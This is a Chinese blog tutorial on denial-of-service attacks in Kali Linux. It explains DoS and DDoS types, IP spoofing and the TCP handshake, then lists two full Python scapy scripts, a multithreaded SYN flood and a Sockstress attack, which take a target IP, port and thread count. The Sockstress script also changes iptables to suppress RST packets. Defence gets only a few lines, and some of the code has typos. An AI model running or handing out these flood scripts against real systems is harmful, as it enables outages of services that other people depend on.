zoukankan      html  css  js  c++  java
  • kali linux之拒绝服务

    Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)

    DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)

    历史

    以前:欠缺技术能力,ping死你(难缠)

    现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)

    D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)

    D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

    D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。

     

    从攻击者到受害者------网络---》FW--》服务器---》服务应用

    资源耗尽------

    网络:带宽

    FW:吞吐量,并发连接

    服务器:CPU,内存,I/O

    应用:处理请求能力,对OS资源的使用权

    程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞

    Syn-Flood---常伴随ip欺骗

    IP地址欺骗

    经常用于dos攻击

    根据ip头地址寻址(可以伪造ip源地址)

    边界路由器过滤(入站,出站)

    受害者可能是源,目的地址

    绕过基于地址的验证

    压力测试模拟多用户

    上层协议(TCP序列号)

    客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号

    第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgment)
     
    第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

    以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)

    问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击

    python实现攻击

    #!/usr/bin/python
    # -*- coding: utf-8 -*-

    from scapy.all import *
    from time import sleep
    import thread
    import random
    import logging
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

    if len(sys.argv) != 4:
        print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
        print "举例: ./syn_flood.py 1.1.1.1 80 20"
        sys.exit()

    target = str(sys.argv[1])
    port = int(sys.argv[2])
    threads = int(sys.argv[3])

    print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
    def synflood(target,port):
        while 0 == 0:
            x = random.randint(0,65535)
            send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
    for x in range(0,threads):
        thread.start_new_thread(synflood, (target,port))

    while 0 == 0:
        sleep(1)

    抓包查看

    Sockstress

    针对tcp服务的拒绝服务攻击

    消耗目标操作系统资源

    与攻击目标建立大量的socket链接

    完成三次握手,最后的ack包windows为0(客户端不接收数据)

    攻击者资源消耗小(cpu,内存,带宽)

    异步攻击,单机可对抗高配资源服务器

    windows窗口实现的tcp流控

    防御措施:

    直到今天sockstress攻击仍然是一种很有效的Dos攻击方式

    由于建立完整的TCP三次握手,因此使用syn cookie防御无效

    根本的防御办法是采用白名单,但是不实际

    折中对策,限制单位时间内每秒连接超市的TCP连接数

    python脚本实现:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    from scapy.all import *
    from time import sleep
    import thread
    import logging
    import os
    import signal
    import sys
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

    if len(sys.argv) !=4:
        print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
        print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
        sys.exit()
    target = str(sys.argv[1])
    dstport = int(sys.argv[2])
    threads = int(sys.argv[3])


    ## 攻击函数
    def sockstress(target,dstport):
        while 0==0:
            try:
                x = random.randint(0,65535)
                response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
                send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'x00x00',verbose=0)
            except:
                pass


    ## 停止攻击函数
    def shutdown(signal, frame):
        print '正在恢复 iptables 规则'
        os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
        sys.exit()


    ## 添加iptables规则
    os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
    signal.signal(signal.SIGINT, shutdown)


    ## 多线程攻击
    print " 攻击正在进行...按 Ctrl+C 停止攻击"
    for x in range(0,threads):
        thread.start_new_thread(sockstress, (target,dstport))


    ## 永远执行
    while 0==0:
        sleep(1)

    执行攻击并抓包查看

    友情链接 http://www.cnblogs.com/klionsec

                   http://www.cnblogs.com/l0cm

                   http://www.cnblogs.com/Anonyaptxxx

                   http://www.feiyusafe.cn

  • 相关阅读:
    反射 Reflection
    后台输出的数据进行字符判断,小数点后边是0不显示,不是0显示
    判断input内的字符是不是数字或字母
    手机端底部按钮隐藏与显示
    CSS改变checkbox样式
    js小数取整 小数保留两位
    如何判断打开页面时使用的设备?
    H5 拖放实例
    根据手机系统引入不同的css文件
    HTML 5 video 视频标签全属性详解(转)
  • 原文地址:https://www.cnblogs.com/Hydraxx/p/10467893.html
Copyright © 2011-2022 走看看